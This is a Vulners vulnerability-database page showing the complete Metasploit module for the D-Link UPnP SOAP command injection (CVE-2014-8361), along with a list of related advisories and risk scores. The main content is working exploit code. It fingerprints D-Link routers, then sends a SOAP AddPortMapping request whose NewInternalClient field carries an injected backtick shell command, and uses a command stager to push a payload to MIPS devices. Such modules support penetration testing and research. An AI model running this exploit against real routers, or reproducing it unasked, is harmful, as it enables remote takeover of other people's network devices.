Lucene search
+L

D-Link Devices UPnP SOAP Command Execution

🗓️ 05 Jul 2013 00:00:00Reported by Michael Messner <[email protected]>, juan vazquez <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 220 Views

D-Link Routers UPnP SOAP Command Injectio

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Realtek SDK Miniigd UPnP SOAP Command Execution Exploit
2 Jun 201500:00
–zdt
githubexploit
GithubExploit
Exploit for CVE-2014-8361
31 Mar 202611:18
–githubexploit
attackerkb
attackerkb
CVE-2014-8361
1 May 201515:59
–attackerkb
bdu_fstec
BDU FSTEC
MiniIGD Service RCE
13 Apr 202300:00
–bdu_fstec
circl
Circl
CVE-2014-8361
1 Jun 201500:00
–circl
cisa_kev
CISA KEV Catalog
Realtek SDK Improper Input Validation Vulnerability
18 Sep 202300:00
–cisa_kev
cisa
CISA
CISA Adds Eight Known Exploited Vulnerabilities to Catalog
18 Sep 202312:00
–cisa
cnvd
CNVD
Realtek rtl81xx miniigd SOAP Service Remote Code Execution Vulnerability
30 Apr 201500:00
–cnvd
checkpoint_advisories
Check Point Advisories
Realtek SDK Miniigd AddPortMapping SOAP Action Command Injection (CVE-2014-8361)
20 Sep 201600:00
–checkpoint_advisories
cve
CVE
CVE-2014-8361
1 May 201500:00
–cve
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'D-Link Devices UPnP SOAP Command Execution',
        'Description' => %q{
          Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP
          interface. Since it is a blind OS command injection vulnerability, there is no
          output for the executed command. This module has been tested on DIR-865 and DIR-645 devices.
        },
        'Author' => [
          'Michael Messner <devnull[at]s3cur1ty.de>', # Vulnerability discovery and Metasploit module
          'juan vazquez' # minor help with msf module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2014-8361'],
          ['OSVDB', '94924'],
          ['BID', '61005'],
          ['EDB', '26664'],
          ['URL', 'http://www.s3cur1ty.de/m1adv2013-020']
        ],
        'DisclosureDate' => '2013-07-05',
        'Privileged' => true,
        'Payload' => {
          'DisableNops' => true
        },
        'Targets' => [
          [
            'MIPS Little Endian',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_MIPSLE
            }
          ],
          [
            'MIPS Big Endian', # unknown if there are BE devices out there ... but in case we have a target
            {
              'Platform' => 'linux',
              'Arch' => ARCH_MIPSBE
            }
          ],
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')

    register_options(
      [
        Opt::RPORT(49152) # port of UPnP SOAP webinterface
      ]
    )
  end

  def check
    begin
      res = send_request_cgi({
        'uri' => '/InternetGatewayDevice.xml'
      })
      if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /<modelNumber>DIR-/
        return Exploit::CheckCode::Detected('The target service was detected')
      end
    rescue ::Rex::ConnectionError
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    Exploit::CheckCode::Unknown('Could not determine the target status')
  end

  def exploit
    print_status("Trying to access the device ...")

    unless check == Exploit::CheckCode::Detected
      fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device")
    end

    print_status("Exploiting...")

    execute_cmdstager(
      :flavor => :echo,
      :linemax => 400
    )
  end

  def execute_command(cmd, opts)
    new_portmapping_descr = rand_text_alpha(8)
    new_external_port = rand(32767) + 32768
    new_internal_port = rand(32767) + 32768

    uri = '/soap.cgi'

    soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"

    data_cmd = "<?xml version=\"1.0\"?>"
    data_cmd << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
    data_cmd << "<SOAP-ENV:Body>"
    data_cmd << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
    data_cmd << "<NewPortMappingDescription>#{new_portmapping_descr}</NewPortMappingDescription>"
    data_cmd << "<NewLeaseDuration></NewLeaseDuration>"
    data_cmd << "<NewInternalClient>`#{cmd}`</NewInternalClient>"
    data_cmd << "<NewEnabled>1</NewEnabled>"
    data_cmd << "<NewExternalPort>#{new_external_port}</NewExternalPort>"
    data_cmd << "<NewRemoteHost></NewRemoteHost>"
    data_cmd << "<NewProtocol>TCP</NewProtocol>"
    data_cmd << "<NewInternalPort>#{new_internal_port}</NewInternalPort>"
    data_cmd << "</m:AddPortMapping>"
    data_cmd << "</SOAP-ENV:Body>"
    data_cmd << "</SOAP-ENV:Envelope>"

    begin
      res = send_request_cgi({
        'uri' => uri,
        'vars_get' => {
          'service' => 'WANIPConn1'
        },
        'ctype' => "text/xml",
        'method' => 'POST',
        'headers' => {
          'SOAPAction' => soapaction,
        },
        'data' => data_cmd
      })
      return res
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Jul 2013 00:00Current
8.3High risk
Vulners AI Score8.3
CVSS 3.19.8
CVSS 210
EPSS0.99971
SSVC
220